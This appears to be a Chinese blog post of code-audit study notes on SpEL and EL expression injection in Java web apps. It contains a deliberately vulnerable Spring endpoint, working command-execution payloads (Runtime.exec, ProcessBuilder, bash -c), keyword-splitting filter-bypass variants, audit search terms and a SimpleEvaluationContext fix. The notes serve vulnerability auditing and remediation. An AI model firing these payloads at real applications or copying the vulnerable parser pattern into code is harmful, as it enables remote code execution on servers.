HacKerQWQ的博客空间

javaweb代码审计学习(SpEL注入)

Word count: 2kReading time: 9 min
2021/12/12 Share

SpEL&EL表达式简介

Spring 表达式语言 (SpEL) 是一种强大的表达式语言,支持在运行时查询和操作对象图。它可以与 XML 或基于注解的 Spring 配置一起使用。

该语言有几种可用的运算符:

类型 运营商
算术 +、-、*、/、%、^、div、mod
关系型 <, >, ==, !=, <=, >=, lt, gt, eq, ne, le, ge
逻辑的 and, or, not, &&, ||, !
有条件的 ?:
正则表达式 matches

SpEL使用#{}作为界定符,EL使用${}作为定界符

EL表达式主要功能如下:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);

  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}

  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据,EL表达式的隐式对象跟jsp不尽相同

    https://docs.oracle.com/javaee/5/tutorial/doc/bnahq.html#bnaij

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pageContext:JSP 页面的上下文。提供对各种对象的访问,包括:
    servletContext:JSP 页面的 servlet 和同一应用程序中包含的任何 Web 组件的上下文。请参阅访问 Web 上下文。
    session:客户端的会话对象。请参阅维护客户端状态。
    request:触发 JSP 页面执行的请求。请参阅从请求中获取信息。
    response:JSP 页面返回的响应。请参阅构建响应。
    param:将请求参数名称映射到单个值
    paramValues:将请求参数名称映射到值数组
    header:将请求标头名称映射到单个值
    headerValues:将请求标头名称映射到值数组
    cookie:将 cookie 名称映射到单个 cookie
    initParam:将上下文初始化参数名称映射到单个值
    pageScope:将页面范围的变量名称映射到它们的值
    requestScope:将请求范围的变量名称映射到它们的值
    sessionScope:将会话范围的变量名称映射到它们的值
    applicationScope:将应用程序范围的变量名称映射到它们的值
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;

    官方文档中说明了el表达式是如何调用对象的方法和获取/设置属性的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #调用handler的process方法
    ${handler.process}
    #带参数调用方法
    ${trader.buy("JAVA")}
    #获取customer的name属性
    ${customer.name}
    ${customer['name']}
    #设置customer的name属性
    ${customer.name="Tomcat"}
    #获取当前ClassLoader,相当于pageContext.getServletContext().getClassLoader()
    ${pageContext.servletContext.classLoader}
    #获取变量
    ${param.name} 等价于request.getParamter(“name”)

    在Tomcat中,常用该方法获取Tomcat的ClassLoader来修改某些对象的属性或者调用方法

    1
    pageContext.getServletContext().getClassLoader()
  • 更多用法:http://rui0.cn/archives/1043

  • EL表达式解析启用/禁用
    默认为启用,jsp会解析EL表达式,除非配置<%@ page isELIgnored =”true|false” %>,或者是全局pom.xml设置

    1
    2
    3
    4
    5
    6
    <jsp-config>
    <jsp-property-group>
    <url-pattern>*.jsp</url-pattern>
    <el-ignored>true</el-ignored>
    </jsp-property-group>
    </jsp-config>

SpEL常见用法

  1. 使用量表达式

    1
    2
    3
    4
    #{Hello World}

    @Value("#{19+1}")
    private double add;
  2. 使用java 代码new/instance of

    1
    Expression exp = parser.parseExpression("new Spring('Hello World')");
  3. 使用T(Type)

    T(Type)用于表示java.lang.Class实例,用于引用常量和静态方法

    1
    parser.parseExpression("T(Integer).MAX_VALUE");

    如果Class类型是java.lang包下的,直接引用就可以了,其他包则要声明完全路径如org.apache.hack,etc…

  4. 获取bean_id

    SpEL可以使用#bean_id来获取容器内的变量,同时存在两个特殊变量#this#root分别表示当前上下文和容器内的root对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ExpressionParser parser = new SpelExpressionParser();
    EvaluationContext context = new StandardEvaluationContext("rui0");
    context.setVariable("variable", "ruilin");
    String result1 = parser.parseExpression("#variable").getValue(context, String.class);
    System.out.println(result1);

    String result2 = parser.parseExpression("#root").getValue(context, String.class);
    System.out.println(result2);
    String result3 = parser.parseExpression("#this").getValue(context, String.class);
    System.out.println(result3);
    return "";

    运行结果

    image-20211212195228419

EL&SPEL表达式漏洞

漏洞原理

由于在EL表达式或者SPEL表达式解析字符串的过程中会进行解析,因此可以获取jsp环境变量或者命令执行

漏洞代码:

1
2
3
4
5
6
7
@RequestMapping("/test")
@ResponseBody
public String test(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}

此处对传入的input变量进行表达式解析,造成SPEL表达式注入

payload

EL表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//探测
${255*255}

// 获取环境变量
${applicationScope}

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

// 获取web绝对路径
${pageContext.servletContext.getResource("")}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

// 命令执行
${pageContext.setAttribute("a", Runtime.getRuntime().exec("calc"))}

//反射命令执行
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

//js引擎rce
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

// 字符串 wh,多个cocnat嵌套构造whoami
java.lang.Character.toString(119).concat(java.lang.Character.toString(104))

SpEL由于可以调用反射,而同时开发人员没有对用户输入尽心进行校验就将其作为SpEL直接执行的话,就会造成SpEL表达式漏洞。

POC

1
2
3
4
5
6
7
8
T(Thread).sleep(10000)
T(java.lang.Runtime).getRuntime().exec('command')
T(java.lang.Runtime).getRuntime().exec('calc.exe')
new java.lang.ProcessBuilder('calc.exe').start()
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe') //需要有context环境
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","touch /tmp/xyz"})}

#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}

弹计算器结果

image-20211212223210380

SpEL漏洞代码审计关键字

1
2
3
4
5
org.springframework.expression.spel.standard
SpelExpressionParser
parseExpression
expression.getValue
expression.setValue

绕过方法

反射和拆分关键字

1
T(String).getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"calc.exe"})

ScriptEngineManager构造

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

SpEL漏洞修复

Spring为SpEL提供了两个不同的接口SimpleEvalutionContextStandardEvalutionContext,StandardEvalutionContext提供了SpEL所有功能,也是默认接口

因此,可以使用阉割版的SimpleEvalutionContext作为防御,它支持SpEL语法子集,抛弃了Java类型引用、构造函数及bean引用。

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
String SpEL = "T(String).getClass().forName(\"java.la\"+\"ng.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"calc.exe\"})";
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression expression = parser.parseExpression(SpEL);
expression.getValue(context);

image-20211212230714701

显示无法找到String类,防御成功

参考链接

https://xz.aliyun.com/t/7692#toc-12

《网络安全Java代码审计实战》

CATALOG
  1. 1. SpEL&EL表达式简介
    1. 1.1. SpEL常见用法
  2. 2. EL&SPEL表达式漏洞
    1. 2.1. 漏洞原理
    2. 2.2. payload
  3. 3. SpEL漏洞代码审计关键字
  4. 4. 绕过方法
    1. 4.1. 反射和拆分关键字
    2. 4.2. ScriptEngineManager构造
  5. 5. SpEL漏洞修复
  6. 6. 参考链接